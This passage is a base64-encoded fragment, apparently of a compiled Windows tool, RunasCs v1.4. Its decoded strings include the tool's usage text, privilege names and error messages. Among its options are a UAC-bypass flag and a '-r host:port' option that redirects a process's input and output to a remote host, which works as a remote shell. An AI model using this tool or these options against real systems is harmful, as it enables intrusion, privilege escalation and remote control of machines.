QBjAEIAeQBwAGEAcwBzACAAZgBhAGkAbABlAGQAIAB3AGkAdABoACAAAIEnWwAqAF0AIABXAGEAcgBuAGkAbgBnADoAIABUAG8AawBlAG4AIAByAGUAdAByAGkAZQB2AGUAZAAgAGYAbwByACAAdQBzAGUAcgAgACcAewAwAH0AJwAgAGkAcwAgAGwAaQBtAGkAdABlAGQAIABiAHkAIABVAEEAQwAuACAAVQBzAGUAIAB0AGgAZQAgAGYAbABhAGcAIAAtAGIAIAB0AG8AIAB0AHIAeQAgAGEAIABVAEEAQwAgAGIAeQBwAGEAcwBzACAAbwByACAAdQBzAGUAIAB0AGgAZQAgAE4AZQB0AHcAbwByAGsAQwBsAGUAYQByAHQAZQB4AHQAIAAoADgAKQAgAGkAbgAgAC0ALQBsAG8AZwBvAG4ALQB0AHkAcABlAC4AAWNDAHIAZQBhAHQAZQBQAHIAbwBjAGUAcwBzAFcAaQB0AGgATABvAGcAbwBuAFcAIABsAG8AZwBvAG4AIAB0AHkAcABlACAAMgAgAGYAYQBpAGwAZQBkACAAdwBpAHQAaAAgAABTRAB1AHAAbABpAGMAYQB0AGUAVABvAGsAZQBuAEUAeAAgAGYAYQBpAGwAZQBkACAAdwBpAHQAaAAgAGUAcgByAG8AcgAgAGMAbwBkAGUAOgAgAACA7VsAKgBdACAAVwBhAHIAbgBpAG4AZwA6ACAAVQBuAGEAYgBsAGUAIAB0AG8AIABvAGIAdABhAGkAbgAgAGUAbgB2AGkAcgBvAG4AbQBlAG4AdAAgAGYAbwByACAAdQBzAGUAcgAgACcAewAwAH0AJwAuACAARQBuAHYAaQByAG8AbgBtAGUAbgB0ACAAdgBhAHIAaQBhAGIAbABlAHMAIABvAGYAIABjAHIAZQBhAHQAZQBkACAAcAByAG8AYwBlAHMAcwAgAG0AaQBnAGgAdAAgAGIAZQAgAGkAbgBjAG8AcgByAGUAYwB0AC4AARVTAHkAcwB0AGUAbQBSAG8AbwB0AAATXABTAHkAcwB0AGUAbQAzADIAAFtDAHIAZQBhAHQAZQBQAHIAbwBjAGUAcwBzAEEAcwBVAHMAZQByACAAZgBhAGkAbABlAGQAIAB3AGkAdABoACAAZQByAHIAbwByACAAYwBvAGQAZQAgADoAIAAAYUMAcgBlAGEAdABlAFAAcgBvAGMAZQBzAHMAVwBpAHQAaABUAG8AawBlAG4AVwAgAGYAYQBpAGwAZQBkACAAdwBpAHQAaAAgAGUAcgByAG8AcgAgAGMAbwBkAGUAOgAgAAAvWwArAF0AIABSAHUAbgBuAGkAbgBnACAAaQBuACAAcwBlAHMAcwBpAG8AbgAgAAAvIAB3AGkAdABoACAAcAByAG8AYwBlAHMAcwAgAGYAdQBuAGMAdABpAG8AbgAgAAAFDQAKAAA3WwArAF0AIABVAHMAaQBuAGcAIABTAHQAYQB0AGkAbwBuAFwARABlAHMAawB0AG8AcAA6ACAAACdbACsAXQAgAEEAcwB5AG4AYwAgAHAAcgBvAGMAZQBzAHMAIAAnAAEXJwAgAHcAaQB0AGgAIABwAGkAZAAgAAFFIABjAHIAZQBhAHQAZQBkACAAYQBuAGQAIABsAGUAZgB0ACAAaQBuACAAYgBhAGMAawBnAHIAbwB1AG4AZAAuAA0ACgAAA1wAABtUAGgAZQAgAHUAcwBlAHIAbgBhAG0AZQAgAAAtIABoAGEAcwAgAG4AbwB0ACAAYgBlAGUAbgAgAGYAbwB1AG4AZAAuAA0ACgAAW1sALQBdACAATABvAG8AawB1AHAAQQBjAGMAbwB1AG4AdABOAGEAbQBlACAAZgBhAGkAbABlAGQAIAB3AGkAdABoACAAZQByAHIAbwByACAAYwBvAGQAZQAgAAE/QwBvAHAAeQBTAGkAZAAgAGYAYQBpAGwAZQBkACAAdwBpAHQAaAAgAGUAcgByAG8AcgAgAGMAbwBkAGUAIAAAPUEAZABkAEEAYwBlACAAZgBhAGkAbABlAGQAIAB3AGkAdABoACAAZQByAHIAbwByACAAYwBvAGQAZQAgAABpRwBlAHQAVQBzAGUAcgBPAGIAagBlAGMAdABTAGUAYwB1AHIAaQB0AHkAIAAxACAAcwBpAHoAZQAgAGYAYQBpAGwAZQBkACAAdwBpAHQAaAAgAGUAcgByAG8AcgAgAGMAbwBkAGUAIAAAX0cAZQB0AFUAcwBlAHIATwBiAGoAZQBjAHQAUwBlAGMAdQByAGkAdAB5ACAAMgAgAGYAYQBpAGwAZQBkACAAdwBpAHQAaAAgAGUAcgByAG8AcgAgAGMAbwBkAGUAIAAAY0cAZQB0AFMAZQBjAHUAcgBpAHQAeQBEAGUAcwBjAHIAaQBwAHQAbwByAEQAYQBjAGwAIABmAGEAaQBsAGUAZAAgAHcAaQB0AGgAIABlAHIAcgBvAHIAIABjAG8AZABlACAAAFNHAGUAdABBAGMAbABJAG4AZgBvAHIAbQBhAHQAaQBvAG4AIABmAGEAaQBsAGUAZAAgAHcAaQB0AGgAIABlAHIAcgBvAHIAIABjAG8AZABlACAAAGlJAG4AaQB0AGkAYQBsAGkAegBlAFMAZQBjAHUAcgBpAHQAeQBEAGUAcwBjAHIAaQBwAHQAbwByACAAZgBhAGkAbABlAGQAIAB3AGkAdABoACAAZQByAHIAbwByACAAYwBvAGQAZQAgAABLSQBuAGkAdABpAGEAbABpAHoAZQBBAGMAbAAgAGYAYQBpAGwAZQBkACAAdwBpAHQAaAAgAGUAcgByAG8AcgAgAGMAbwBkAGUAIAAAPUcAZQB0AEEAYwBlACAAZgBhAGkAbABlAGQAIAB3AGkAdABoACAAZQByAHIAbwByACAAYwBvAGQAZQAgAABjUwBlAHQAUwBlAGMAdQByAGkAdAB5AEQAZQBzAGMAcgBpAHAAdABvAHIARABhAGMAbAAgAGYAYQBpAGwAZQBkACAAdwBpAHQAaAAgAGUAcgByAG8AcgAgAGMAbwBkAGUAIAAAW1MAZQB0AFUAcwBlAHIATwBiAGoAZQBjAHQAUwBlAGMAdQByAGkAdAB5ACAAZgBhAGkAbABlAGQAIAB3AGkAdABoACAAZQByAHIAbwByACAAYwBvAGQAZQAgAABXQQBkAGQAQQBjAGMAZQBzAHMAQQBsAGwAbwB3AGUAZABBAGMAZQAgAGYAYQBpAGwAZQBkACAAdwBpAHQAaAAgAGUAcgByAG8AcgAgAGMAbwBkAGUAIAAAX0cAZQB0AFAAcgBvAGMAZQBzAHMAVwBpAG4AZABvAHcAUwB0AGEAdABpAG8AbgAgAGYAYQBpAGwAZQBkACAAdwBpAHQAaAAgAGUAcgByAG8AcgAgAGMAbwBkAGUAIAAAYUcAZQB0AFUAcwBlAHIATwBiAGoAZQBjAHQASQBuAGYAbwByAG0AYQB0AGkAbwBuACAAZgBhAGkAbABlAGQAIAB3AGkAdABoACAAZQByAHIAbwByACAAYwBvAGQAZQAgAABTTwBwAGUAbgBXAGkAbgBkAG8AdwBTAHQAYQB0AGkAbwBuACAAZgBhAGkAbABlAGQAIAB3AGkAdABoACAAZQByAHIAbwByACAAYwBvAGQAZQAgAABvUwBlAHQAUAByAG8AYwBlAHMAcwBXAGkAbgBkAG8AdwBTAHQAYQB0AGkAbwBuACAAaABXAGkAbgBzAHQAYQAgAGYAYQBpAGwAZQBkACAAdwBpAHQAaAAgAGUAcgByAG8AcgAgAGMAbwBkAGUAIAAAD0QAZQBmAGEAdQBsAHQAAHdTAGUAdABQAHIAbwBjAGUAcwBzAFcAaQBuAGQAbwB3AFMAdABhAHQAaQBvAG4AIABoAFcAaQBuAHMAdABhAFMAYQB2AGUAIABmAGEAaQBsAGUAZAAgAHcAaQB0AGgAIABlAHIAcgBvAHIAIABjAG8AZABlACAAAEdPAHAAZQBuAEQAZQBzAGsAdABvAHAAIABmAGEAaQBsAGUAZAAgAHcAaQB0AGgAIABlAHIAcgBvAHIAIABjAG8AZABlACAAABFcAEQAZQBmAGEAdQBsAHQAABFEAGkAcwBhAGIAbABlAGQAAB9FAG4AYQBiAGwAZQBkACAARABlAGYAYQB1AGwAdAAAD0UAbgBhAGIAbABlAGQAAC9FAG4AYQBiAGwAZQBkAHwARQBuAGEAYgBsAGUAZAAgAEQAZQBmAGEAdQBsAHQAAAtFAHIAcgBvAHIAAEdBAGQAagB1AHMAdABUAG8AawBlAG4AUAByAGkAdgBpAGwAZQBnAGUAcwAgAG8AbgAgAHAAcgBpAHYAaQBsAGUAZwBlACAAADMgAGYAYQBpAGwAZQBkACAAdwBpAHQAaAAgAGUAcgByAG8AcgAgAGMAbwBkAGUAOgAgAABLDQAKAEEAZABqAHUAcwB0AFQAbwBrAGUAbgBQAHIAaQB2AGkAbABlAGcAZQBzACAAbwBuACAAcAByAGkAdgBpAGwAZQBnAGUAIAAAFSAAcwB1AGMAYwBlAGUAZABlAGQAAFdHAGUAdABUAG8AawBlAG4ASQBuAGYAbwByAG0AYQB0AGkAbwBuACAAZgBhAGkAbABlAGQAIAB3AGkAdABoACAAZQByAHIAbwByACAAYwBvAGQAZQAgAABXTABvAG8AawB1AHAAUAByAGkAdgBpAGwAZQBnAGUATgBhAG0AZQAgAGYAYQBpAGwAZQBkACAAdwBpAHQAaAAgAGUAcgByAG8AcgAgAGMAbwBkAGUAIAAAX1sAIQBdACAARgBhAGkAbABlAGQAIAB0AG8AIABzAGUAdAAgAHQAaABlACAAdABvAGsAZQBuACcAcwAgAEkAbgB0AGUAZwByAGkAdAB5ACAATABlAHYAZQBsADoAIAABO1MAZQBBAHMAcwBpAGcAbgBQAHIAaQBtAGEAcgB5AFQAbwBrAGUAbgBQAHIAaQB2AGkAbABlAGcAZQAAIVMAZQBBAHUAZABpAHQAUAByAGkAdgBpAGwAZQBnAGUAACNTAGUAQgBhAGMAawB1AHAAUAByAGkAdgBpAGwAZQBnAGUAAC9TAGUAQwBoAGEAbgBnAGUATgBvAHQAaQBmAHkAUAByAGkAdgBpAGwAZQBnAGUAAC9TAGUAQwByAGUAYQB0AGUARwBsAG8AYgBhAGwAUAByAGkAdgBpAGwAZQBnAGUAADNTAGUAQwByAGUAYQB0AGUAUABhAGcAZQBmAGkAbABlAFAAcgBpAHYAaQBsAGUAZwBlAAA1UwBlAEMAcgBlAGEAdABlAFAAZQByAG0AYQBuAGUAbgB0AFAAcgBpAHYAaQBsAGUAZwBlAAA7UwBlAEMAcgBlAGEAdABlAFMAeQBtAGIAbwBsAGkAYwBMAGkAbgBrAFAAcgBpAHYAaQBsAGUAZwBlAAAtUwBlAEMAcgBlAGEAdABlAFQAbwBrAGUAbgBQAHIAaQB2AGkAbABlAGcAZQAAIVMAZQBEAGUAYgB1AGcAUAByAGkAdgBpAGwAZQBnAGUAAFNTAGUARABlAGwAZQBnAGEAdABlAFMAZQBzAHMAaQBvAG4AVQBzAGUAcgBJAG0AcABlAHIAcwBvAG4AYQB0AGUAUAByAGkAdgBpAGwAZQBnAGUAADdTAGUARQBuAGEAYgBsAGUARABlAGwAZQBnAGEAdABpAG8AbgBQAHIAaQB2AGkAbABlAGcAZQAALVMAZQBJAG0AcABlAHIAcwBvAG4AYQB0AGUAUAByAGkAdgBpAGwAZQBnAGUAAD9TAGUASQBuAGMAcgBlAGEAcwBlAEIAYQBzAGUAUAByAGkAbwByAGkAdAB5AFAAcgBpAHYAaQBsAGUAZwBlAAAxUwBlAEkAbgBjAHIAZQBhAHMAZQBRAHUAbwB0AGEAUAByAGkAdgBpAGwAZQBnAGUAADtTAGUASQBuAGMAcgBlAGEAcwBlAFcAbwByAGsAaQBuAGcAUwBlAHQAUAByAGkAdgBpAGwAZQBnAGUAACtTAGUATABvAGEAZABEAHIAaQB2AGUAcgBQAHIAaQB2AGkAbABlAGcAZQAAK1MAZQBMAG8AYwBrAE0AZQBtAG8AcgB5AFAAcgBpAHYAaQBsAGUAZwBlAAAzUwBlAE0AYQBjAGgAaQBuAGUAQQBjAGMAbwB1AG4AdABQAHIAaQB2AGkAbABlAGcAZQAAL1MAZQBNAGEAbgBhAGcAZQBWAG8AbAB1AG0AZQBQAHIAaQB2AGkAbABlAGcAZQAAP1MAZQBQAHIAbwBmAGkAbABlAFMAaQBuAGcAbABlAFAAcgBvAGMAZQBzAHMAUAByAGkAdgBpAGwAZQBnAGUAACVTAGUAUgBlAGwAYQBiAGUAbABQAHIAaQB2AGkAbABlAGcAZQAAM1MAZQBSAGUAbQBvAHQAZQBTAGgAdQB0AGQAbwB3AG4AUAByAGkAdgBpAGwAZQBnAGUAACVTAGUAUgBlAHMAdABvAHIAZQBQAHIAaQB2AGkAbABlAGcAZQAAJ1MAZQBTAGUAYwB1AHIAaQB0AHkAUAByAGkAdgBpAGwAZQBnAGUAACdTAGUAUwBoAHUAdABkAG8AdwBuAFAAcgBpAHYAaQBsAGUAZwBlAAApUwBlAFMAeQBuAGMAQQBnAGUAbgB0AFAAcgBpAHYAaQBsAGUAZwBlAAA5UwBlAFMAeQBzAHQAZQBtAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABQAHIAaQB2AGkAbABlAGcAZQAAMVMAZQBTAHkAcwB0AGUAbQBQAHIAbwBmAGkAbABlAFAAcgBpAHYAaQBsAGUAZwBlAAArUwBlAFMAeQBzAHQAZQBtAHQAaQBtAGUAUAByAGkAdgBpAGwAZQBnAGUAADFTAGUAVABhAGsAZQBPAHcAbgBlAHIAcwBoAGkAcABQAHIAaQB2AGkAbABlAGcAZQAAHVMAZQBUAGMAYgBQAHIAaQB2AGkAbABlAGcAZQAAJ1MAZQBUAGkAbQBlAFoAbwBuAGUAUAByAGkAdgBpAGwAZQBnAGUAAD9TAGUAVAByAHUAcwB0AGUAZABDAHIAZQBkAE0AYQBuAEEAYwBjAGUAcwBzAFAAcgBpAHYAaQBsAGUAZwBlAAAjUwBlAFUAbgBkAG8AYwBrAFAAcgBpAHYAaQBsAGUAZwBlAAA3UwBlAFUAbgBzAG8AbABpAGMAaQB0AGUAZABJAG4AcAB1AHQAUAByAGkAdgBpAGwAZQBnAGUAABdJAG4AdABlAHIAYQBjAHQAaQB2AGUAAA9OAGUAdAB3AG8AcgBrAAALQgBhAHQAYwBoAAAPUwBlAHIAdgBpAGMAZQAADVUAbgBsAG8AYwBrAAAhTgBlAHQAdwBvAHIAawBDAGwAZQBhAHIAdABlAHgAdAAAHU4AZQB3AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAI1IAZQBtAG8AdABlAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAAI0MAYQBjAGgAZQBkAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAAKUMAcgBlAGEAdABlAFAAcgBvAGMAZQBzAHMAQQBzAFUAcwBlAHIAVwAAL0MAcgBlAGEAdABlAFAAcgBvAGMAZQBzAHMAVwBpAHQAaABUAG8AawBlAG4AVwAAL0MAcgBlAGEAdABlAFAAcgBvAGMAZQBzAHMAVwBpAHQAaABMAG8AZwBvAG4AVwAABS0AaAABDS0ALQBoAGUAbABwAAEFLwA/AAA/SQBuAHYAYQBsAGkAZAAgAHAAcgBvAGMAZQBzAHMAXwB0AGkAbQBlAG8AdQB0ACAAdgBhAGwAdQBlADoAIAAALUkAbgB2AGEAbABpAGQAIAByAGUAbQBvAHQAZQAgAHYAYQBsAHUAZQA6ACAAAEFbAC0AXQAgAEUAeABwAGUAYwB0AGUAZAAgAGYAbwByAG0AYQB0ADoAIAAnAGgAbwBzAHQAOgBwAG8AcgB0ACcAATVJAG4AdgBhAGwAaQBkACAAbABvAGcAbwBuAF8AdAB5AHAAZQAgAHYAYQBsAHUAZQA6ACAAADNbAC0AXQAgAEEAbABsAG8AdwBlAGQAIAB2AGEAbAB1AGUAcwAgAGEAcgBlADoADQAKAAEjWwAtAF0AIAAgACAAIAAgAHsAMAB9AAkAewAxAH0ADQAKAAFBSQBuAHYAYQBsAGkAZAAgAGMAcgBlAGEAdABlAFAAcgBvAGMAZQBzAHMAIABmAHUAbgBjAHQAaQBvAG4AOgAgAAAFLQBkAAERLQAtAGQAbwBtAGEAaQBuAAEFLQB0AAETLQAtAHQAaQBtAGUAbwB1AHQAAQUtAGwAARktAC0AbABvAGcAbwBuAC0AdAB5AHAAZQABBS0AZgABFS0ALQBmAHUAbgBjAHQAaQBvAG4AAQUtAHIAAREtAC0AcgBlAG0AbwB0AGUAAQUtAHAAASEtAC0AYwByAGUAYQB0AGUALQBwAHIAbwBmAGkAbABlAAEFLQBiAAEZLQAtAGIAeQBwAGEAcwBzAC0AdQBhAGMAAW1bAC0AXQAgAEkAbgB2AGEAbABpAGQAIABhAHIAZwB1AG0AZQBuAHQAcwAuACAAVQBzAGUAIAAtAC0AaABlAGwAcAAgAGYAbwByACAAYQBkAGQAaQB0AGkAbwBuAGEAbAAgAGgAZQBsAHAALgABB3sAMAB9AACAn1sALQBdACAATgBvAHQAIABlAG4AbwB1AGcAaAAgAGEAcgBnAHUAbQBlAG4AdABzAC4AIAAzACAAQQByAGcAdQBtAGUAbgB0AHMAIAByAGUAcQB1AGkAcgBlAGQALgAgAFUAcwBlACAALQAtAGgAZQBsAHAAIABmAG8AcgAgAGEAZABkAGkAdABpAG8AbgBhAGwAIABoAGUAbABwAC4AAZ8XDQAKAFIAdQBuAGEAcwBDAHMAIAB2ADEALgA0ACAALQAgAEAAcwBwAGwAaQBuAHQAZQByAF8AYwBvAGQAZQANAAoADQAKAFUAcwBhAGcAZQA6AA0ACgAgACAAIAAgAFIAdQBuAGEAcwBDAHMALgBlAHgAZQAgAHUAcwBlAHIAbgBhAG0AZQAgAHAAYQBzAHMAdwBvAHIAZAAgAGMAbQBkACAAWwAtAGQAIABkAG8AbQBhAGkAbgBdACAAWwAtAGYAIABjAHIAZQBhAHQAZQBfAHAAcgBvAGMAZQBzAHMAXwBmAHUAbgBjAHQAaQBvAG4AXQAgAFsALQBsACAAbABvAGcAbwBuAF8AdAB5AHAAZQBdACAAWwAtAHIAIABoAG8AcwB0ADoAcABvAHIAdABdACAAWwAtAHQAIABwAHIAbwBjAGUAcwBzAF8AdABpAG0AZQBvAHUAdABdACAAWwAtAC0AYwByAGUAYQB0AGUALQBwAHIAbwBmAGkAbABlAF0AIABbAC0ALQBiAHkAcABhAHMAcwAtAHUAYQBjAF0ADQAKAA0ACgBEAGUAcwBjAHIAaQBwAHQAaQBvAG4AOgANAAoAIAAgACAAIABSAHUAbgBhAHMAQwBzACAAaQBzACAAYQBuACAAdQB0AGkAbABpAHQAeQAgAHQAbwAgAHIAdQBuACAAcwBwAGUAYwBpAGYAaQBjACAAcAByAG8AYwBlAHMAcwBlAHMAIAB1AG4AZABlAHIAIABhACAAZABpAGYAZgBlAHIAZQBuAHQAIAB1AHMAZQByACAAYQBjAGMAbwB1AG4AdAANAAoAIAAgACAAIABiAHkAIABzAHAAZQBjAGkAZgB5AGkAbgBnACAAZQB4AHAAbABpAGMAaQB0ACAAYwByAGUAZABlAG4AdABpAGEAbABzAC4AIABJAG4AIABjAG8AbgB0AHIAYQBzAHQAIAB0AG8AIAB0AGgAZQAgAGQAZQBmAGEAdQBsAHQAIAByAHUAbgBhAHMALgBlAHgAZQAgAGMAbwBtAG0AYQBuAGQADQAKACAAIAAgACAAaQB0ACAAcwB1AHAAcABvAHIAdABzACAAZABpAGYAZgBlAHIAZQBuAHQAIABsAG8AZwBvAG4AIAB0AHkAcABlAHMAIABhAG4AZAAgAGMAcgBhAHQAZQBQAHIAbwBjAGUAcwBzACAAZgB1AG4AYwB0AGkAbwBuAHMAIAB0AG8AIABiAGUAIAB1AHMAZQBkACwAIABkAGUAcABlAG4AZABpAG4AZwANAAoAIAAgACAAIABvAG4AIAB5AG8AdQByACAAYwB1AHIAcgBlAG4AdAAgAHAAZQByAG0AaQBzAHMAaQBvAG4AcwAuACAARgB1AHIAdABoAGUAcgBtAG8AcgBlACAAaQB0ACAAYQBsAGwAbwB3AHMAIABpAG4AcAB1AHQALwBvAHUAdABwAHUAdAAgAHIAZQBkAGkAcgBlAGMAdABpAG8AbgAgACgAZQB2AGUAbgANAAoAIAAgACAAIAB0AG8AIAByAGUAbQBvAHQAZQAgAGgAbwBzAHQAcwApACAAYQBuAGQAIAB5AG8AdQAgAGMAYQBuACAAcwBwAGUAYwBpAGYAeQAgAHQAaABlACAAcABhAHMAcwB3AG8AcgBkACAAZABpAHIAZQBjAHQAbAB5ACAAbwBuACAAdABoAGUAIABjAG8AbQBtAGEAbgBkACAAbABpAG4AZQAuAA0ACgANAAoAUABvAHMAaQB0AGkAbwBuAGEAbAAgAGEAcgBnAHUAbQBlAG4AdABzADoADQAKACAAIAAgACAAdQBzAGUAcgBuAGEAbQBlACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAdQBzAGUAcgBuAGEAbQBlACAAbwBmACAAdABoAGUAIAB1AHMAZQByAA0ACgAgACAAIAAgAHAAYQBzAHMAdwBvAHIAZAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHAAYQBzAHMAdwBvAHIAZAAgAG8AZgAgAHQAaABlACAAdQBzAGUAcgANAAoAIAAgACAAIABjAG0AZAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABjAG8AbQBtAGEAbgBkACAAcwB1AHAAcABvAHIAdABlAGQAIABiAHkAIABjAG0AZAAuAGUAeABlACAAaQBmACAAcAByAG8AYwBlAHMAcwBfAHQAaQBtAGUAbwB1AHQAPgAwAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGMAbwBtAG0AYQBuAGQAbABpAG4AZQAgAGYAbwByACAAdABoAGUAIABwAHIAbwBjAGUAcwBzACAAaQBmACAAcAByAG8AYwBlAHMAcwBfAHQAaQBtAGUAbwB1AHQAPQAwAA0ACgBPAHAAdABpAG8AbgBhAGwAIABhAHIAZwB1AG0AZQBuAHQAcwA6AA0ACgAgACAAIAAgAC0AZAAsACAALQAtAGQAbwBtAGEAaQBuACAAZABvAG0AYQBpAG4ADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZABvAG0AYQBpAG4AIABvAGYAIAB0AGgAZQAgAHUAcwBlAHIALAAgAGkAZgAgAGkAbgAgAGEAIABkAG8AbQBhAGkAbgAuACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAARABlAGYAYQB1AGwAdAA6ACAAIgAiAA0ACgAgACAAIAAgAC0AZgAsACAALQAtAGYAdQBuAGMAdABpAG8AbgAgAGMAcgBlAGEAdABlAF8AcAByAG8AYwBlAHMAcwBfAGYAdQBuAGMAdABpAG8AbgANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABDAHIAZQBhAHQAZQBQAHIAbwBjAGUAcwBzACAAZgB1AG4AYwB0AGkAbwBuACAAdABvACAAdQBzAGUALgAgAFcAaABlAG4AIABuAG8AdAAgAHMAcABlAGMAaQBmAGkAZQBkAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAdQBuAGEAcwBDAHMAIABkAGUAdABlAHIAbQBpAG4AZQBzACAAYQBuACAAYQBwAHAAcgBvAHAAcgBpAGEAdABlACAAQwByAGUAYQB0AGUAUAByAG8AYwBlAHMAcwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABmAHUAbgBjAHQAaQBvAG4AIABhAHUAdABvAG0AYQB0AGkAYwBhAGwAbAB5ACAAYQBjAGMAbwByAGQAaQBuAGcAIAB0AG8AIAB5AG8AdQByACAAcAByAGkAdgBpAGwAZQBnAGUAcwAuAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADAAIAAtACAAQwByAGUAYQB0AGUAUAByAG8AYwBlAHMAcwBBAHMAVQBzAGUAcgBXAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADEAIAAtACAAQwByAGUAYQB0AGUAUAByAG8AYwBlAHMAcwBXAGkAdABoAFQAbwBrAGUAbgBXAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADIAIAAtACAAQwByAGUAYQB0AGUAUAByAG8AYwBlAHMAcwBXAGkAdABoAEwAbwBnAG8AbgBXAA0ACgAgACAAIAAgAC0AbAAsACAALQAtAGwAbwBnAG8AbgAtAHQAeQBwAGUAIABsAG8AZwBvAG4AXwB0AHkAcABlAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAaABlACAAbABvAGcAbwBuACAAdAB5AHAAZQAgAGYAbwByACAAdABoAGUAIABzAHAAYQB3AG4AZQBkACAAcAByAG8AYwBlAHMAcwAuAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEQAZQBmAGEAdQBsAHQAOgAgACIAOAAiACAALQAgAE4AZQB0AHcAbwByAGsAQwBsAGUAYQByAHQAZQB4AHQADQAKACAAIAAgACAALQByACwAIAAtAC0AcgBlAG0AbwB0AGUAIABoAG8AcwB0ADoAcABvAHIAdAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAByAGUAZABpAHIAZQBjAHQAIABzAHQAZABpAG4ALAAgAHMAdABkAG8AdQB0ACAAYQBuAGQAIABzAHQAZABlAHIAcgAgAHQAbwAgAGEAIAByAGUAbQBvAHQAZQAgAGgAbwBzAHQALgANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABVAHMAaQBuAGcAIAB0AGgAaQBzACAAbwBwAHQAaQBvAG4AIABzAGUAdABzACAAdABoAGUAIABwAHIAbwBjAGUAcwBzACAAdABpAG0AZQBvAHUAdAAgAHQAbwAgADAALgANAAoAIAAgACAAIAAtAHQALAAgAC0ALQB0AGkAbQBlAG8AdQB0ACAAcAByAG8AYwBlAHMAcwBfAHQAaQBtAGUAbwB1AHQADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAdABoAGUAIAB3AGEAaQB0AGkAbgBnACAAdABpAG0AZQAgACgAaQBuACAAbQBzACkAIABmAG8AcgAgAHQAaABlACAAYwByAGUAYQB0AGUAZAAgAHAAcgBvAGMAZQBzAHMALgANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABUAGgAaQBzACAAdwBpAGwAbAAgAGgAYQBsAHQAIABSAHUAbgBhAHMAQwBzACAAdQBuAHQAaQBsACAAdABoAGUAIABzAHAAYQB3AG4AZQBkACAAcAByAG8AYwBlAHMAcwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABlAG4AZABzACAAYQBuAGQAIABzAGUAbgB0ACAAdABoAGUAIABvAHUAdABwAHUAdAAgAGIAYQBjAGsAIAB0AG8AIAB0AGgAZQAgAGMAYQBsAGwAZQByAC4ADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAASQBmACAAeQBvAHUAIABzAGUAdAAgADAAIABuAG8AIABvAHUAdABwAHUAdAAgAHcAaQBsAGwAIABiAGUAIAByAGUAdAByAGkAZQB2AGUAZAAgAGEAbgBkACAAYwBtAGQALgBlAHgAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB3AG8AbgAnAHQAIABiAGUAIAB1AHMAZQBkACAAdABvACAAcwBwAGEAdwBuACAAdABoAGUAIABwAHIAbwBjAGUAcwBzAC4ADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAARABlAGYAYQB1AGwAdAA6ACAAIgAxADIAMAAwADAAMAAiAA0ACgAgACAAIAAgAC0AcAAsACAALQAtAGMAcgBlAGEAdABlAC0AcAByAG8AZgBpAGwAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAIAB0AGgAaQBzACAAZgBsAGEAZwAgAGkAcwAgAHMAcABlAGMAaQBmAGkAZQBkACAAUgB1AG4AYQBzAEMAcwAgAHcAaQBsAGwAIABmAG8AcgBjAGUAIAB0AGgAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABjAHIAZQBhAHQAaQBvAG4AIABvAGYAIAB0AGgAZQAgAHUAcwBlAHIAIABwAHIAbwBmAGkAbABlACAAbwBuACAAdABoAGUAIABtAGEAYwBoAGkAbgBlAC4ADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAVABoAGkAcwAgAHcAaQBsAGwAIABlAG4AcwB1AHIAZQAgAHQAaABlACAAcAByAG8AYwBlAHMAcwAgAHcAaQBsAGwAIABoAGEAdgBlACAAdABoAGUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZ